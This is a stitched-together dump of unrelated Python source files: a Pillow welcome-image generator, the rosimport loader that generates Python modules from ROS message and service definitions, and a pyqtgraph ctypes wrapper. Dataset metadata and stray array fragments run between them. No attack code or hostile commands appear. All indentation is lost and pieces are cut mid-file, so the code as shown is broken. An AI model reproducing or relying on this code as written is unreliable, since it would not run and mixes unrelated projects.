circlemask = circle_mask((256, 256))
font = ImageFont.truetype('./NunitoSans-Regular.ttf', 56)
outline_color = "#2af54f"
avatar_pos_x = 352
avatar_pos_y = 72
def generate_welcome(name, tag, avatar):
image = Image.new('RGBA', (960, 540), (0, 0, 0, 0))
print(name,tag)
pfp = get_image(avatar).resize((256, 256)).convert('RGBA')
draw = ImageDraw.Draw(image)
draw.rounded_rectangle((0, 0 , 960, 540), 60, (3, 7, 15))
image.paste(pfp, (avatar_pos_x , avatar_pos_y), circlemask)
draw.ellipse((avatar_pos_x, avatar_pos_y, avatar_pos_x + 256, avatar_pos_y + 256), outline=outline_color, width=8)
draw.textsize(f'{name}#{tag}', font)
size = draw.textsize(f'Welcome\n{name}#{tag}', font=font)
draw.text((960 / 2 - size[0] / 2, 72 + 256 - size[1] + 130), f'Welcome\n{name}#{tag}', font=font, align='center')
b = BytesIO()
image.save(b, format='png')
b.seek(0)
return b | [
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] |
rosimport/_rosdef_loader.py | asmodehn/rosimport | 5 | 1361 | <filename>rosimport/_rosdef_loader.py
from __future__ import absolute_import, division, print_function
import contextlib
import importlib
import site
import tempfile
import shutil
from rosimport import genrosmsg_py, genrossrv_py
"""
A module to setup custom importer for .msg and .srv files
Upon import, it will first find the .msg file, then generate the python module for it, then load it.
TODO...
"""
# We need to be extra careful with python versions
# Ref : https://docs.python.org/dev/library/importlib.html#importlib.import_module
# Ref : http://stackoverflow.com/questions/67631/how-to-import-a-module-given-the-full-path
# Note : Couldn't find a way to make imp.load_source deal with packages or relative imports (necessary for our generated message classes)
import os
import sys
import logging
# Class to allow dynamic search of packages
class RosSearchPath(dict):
"""
Class to allow dynamic search of packages.
This is where we hook up into python import mechanism in order to generate and discover
packages and messages we are depending on.
But it should not be used during the generation of multiple messages in only one package,
as this is too tricky to get right, and too easy to break by mistake.
"""
def __init__(self, **ros_package_paths):
# we use the default ROS_PACKAGE_PATH if already setup in environment.
# This allows us to find message definitions in a ROS distro (and collaborate with pyros_setup)
package_paths = {}
for distropath in [d for d in os.environ.get('ROS_PACKAGE_PATH', '').split(':') if os.path.exists(d)]:
for p in [pkgd for pkgd in os.listdir(distropath) if os.path.exists(os.path.join(distropath, pkgd, 'msg'))]:
package_paths[p] = package_paths.get(p, set()) | {os.path.join(distropath, p, 'msg')}
# we add any extra path
package_paths.update(ros_package_paths)
super(RosSearchPath, self).__init__(package_paths)
def try_import(self, item):
try:
# we need to import the .msg submodule (only one usable as dependency)
mod = importlib.import_module(item + '.msg')
# import succeeded : we should get the namespace path
# and add it to the list of paths to avoid going through this all over again...
for p in mod.__path__:
# Note we want dependencies here. dependencies are ALWAYS '.msg' files in 'msg' directory.
msg_path = os.path.join(p)
# We add a path only if we can find the 'msg' directory
self[item] = self.get(item, set() | ({msg_path} if os.path.exists(msg_path) else set()))
return mod
except ImportError:
# import failed
return None
def __contains__(self, item):
""" True if D has a key k, else False. """
has = super(RosSearchPath, self).__contains__(item)
if not has: # attempt importing. solving ROS path setup problem with python import paths setup.
self.try_import(item)
# Note : if ROS is setup, rospkg.RosPack can find packages
# try again (might work now)
return super(RosSearchPath, self).__contains__(item)
def __getitem__(self, item):
""" x.__getitem__(y) <==> x[y] """
got = super(RosSearchPath, self).get(item)
if got is None:
# attempt discovery by relying on python core import feature.
self.try_import(item)
# Note : if ROS is setup, rospkg.RosPack can find packages
return super(RosSearchPath, self).get(item)
# singleton instance, to keep used ros package paths in cache
ros_import_search_path = RosSearchPath()
def RosLoader(rosdef_extension):
"""
Function generating ROS loaders.
This is used to keep .msg and .srv loaders very similar
"""
if rosdef_extension == '.msg':
loader_origin_subdir = 'msg'
loader_file_extension = rosdef_extension
loader_generated_subdir = 'msg'
loader_generator = genrosmsg_py
elif rosdef_extension == '.srv':
loader_origin_subdir = 'srv'
loader_file_extension = rosdef_extension
loader_generated_subdir = 'srv'
loader_generator = genrossrv_py
else:
raise RuntimeError("RosLoader for a format {0} other than .msg or .srv is not supported".format(rosdef_extension))
import filefinder2.machinery
class ROSDefLoader(filefinder2.machinery.SourceFileLoader):
"""
Python Loader for Rosdef files.
Note : We support ROS layout :
- msg/myMsg.msg
- srv/mySrv.srv
- my_pkg/__init__.py # doesnt really matters ( we rely on PEP 420 )
OR inside the python code:
- my_pkg/__init__.py # doesnt really matters ( we rely on PEP 420 )
- my_pkg/msg/myMsg.msg
- my_pkg/srv/mySrv.srv
BUT the following is also importable relatively,
which is especially useful for tests or intra-package ROS communication,
although it cannot be used as another package dependency (due to ROS limitations)
- my_pkg/__init__.py # doesnt really matters ( we rely on PEP 420 )
- my_pkg/subpkg/__init__.py # doesnt really matters ( we rely on PEP 420 )
- my_pkg/subpkg/msg/myMsg.msg
- my_pkg/subpkg/srv/mySrv.srv
In that case myMsg.py will also be generated under mypkg.msg,
but can be imported relatively from my_pkg/subpkg/module.py with "from .msg import mypkg"
"""
rosimport_tempdir = os.path.join(tempfile.gettempdir(), 'rosimport')
def __init__(self, fullname, path):
self.logger = logging.getLogger(__name__)
# to normalize input
path = os.path.normpath(path)
# Doing this in each loader, in case we are running from different processes,
# avoiding to reload from same file (especially useful for boxed tests).
# But deterministic path to avoid regenerating from the same interpreter
rosimport_path = os.path.join(self.rosimport_tempdir, str(os.getpid()))
if not os.path.exists(rosimport_path):
os.makedirs(rosimport_path)
rospackage = fullname.partition('.')[0]
if os.path.isdir(path):
# if we get a package name ending with msg or srv and a non empty directory
if (
fullname.endswith(loader_origin_subdir) and
any([f.endswith(loader_file_extension) for f in os.listdir(path)])
):
# TODO : dynamic in memory generation (we do not need the file ultimately...)
outdir, gen_rosdef_pkgpath = loader_generator(
# generate message's python code at once, for this package level.
rosdef_files=[os.path.join(path, f) for f in os.listdir(path)],
package=fullname,
sitedir=rosimport_path,
search_path=ros_import_search_path,
)
# TODO : handle thrown exception (cleaner than hacking the search path dict...)
# try:
# generator.generate_messages(package, rosfiles, outdir, search_path)
# except genmsg.MsgNotFound as mnf:
# try:
# mod = importlib.import_module(mnf.package)
# # import succeeded : we should get the namespace path that has '/msg'
# # and add it to the list of paths to avoid going through this all over again...
# for p in mod.__path__:
# # Note we want dependencies here. dependencies are ALWAYS '.msg' files in 'msg' directory.
# msg_path = os.path.join(p, genmsg_MSG_DIR)
# # We add a path only if we can find the 'msg' directory
# search_path[mnf.package] = search_path[mnf.package] + ([msg_path] if os.path.exists(msg_path) else [])
# # Try generation again
# generator.generate_messages(package, rosfiles, outdir, search_path)
# except ImportError:
# # import failed
# return None
if not os.path.exists(gen_rosdef_pkgpath):
raise ImportError("{0} file not found".format(gen_rosdef_pkgpath))
# relying on usual source file loader since we have generated normal python code
super(ROSDefLoader, self).__init__(fullname, gen_rosdef_pkgpath)
def get_gen_path(self):
"""Returning the generated path matching the import"""
return self.path # TODO : maybe useless ?
# return os.path.join(self.outdir_pkg, loader_generated_subdir)
def __repr__(self):
return "ROSDefLoader/{0}({1}, {2})".format(loader_file_extension, self.name, self.path)
@staticmethod
def get_file_extension():
return loader_file_extension
@staticmethod
def get_origin_subdir():
return loader_origin_subdir
@staticmethod
def get_generated_subdir():
return loader_generated_subdir
return ROSDefLoader
ROSMsgLoader = RosLoader(rosdef_extension='.msg')
ROSSrvLoader = RosLoader(rosdef_extension='.srv')
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] |
examples/verlet_chain/relax.py | Peque/pyqtgraph | 0 | 53516 | import ctypes
import os
so = os.path.join(os.path.dirname(__file__), 'maths.so')
lib = ctypes.CDLL(so)
lib.relax.argtypes = [
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_int,
ctypes.c_int,
]
def relax(pos, links, mrel1, mrel2, lengths, push, pull, iters):
nlinks = links.shape[0]
lib.relax(pos.ctypes, links.ctypes, mrel1.ctypes, mrel2.ctypes, lengths.ctypes, push.ctypes, pull.ctypes, nlinks, iters)
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13,
268,
13,
13,
2
] |
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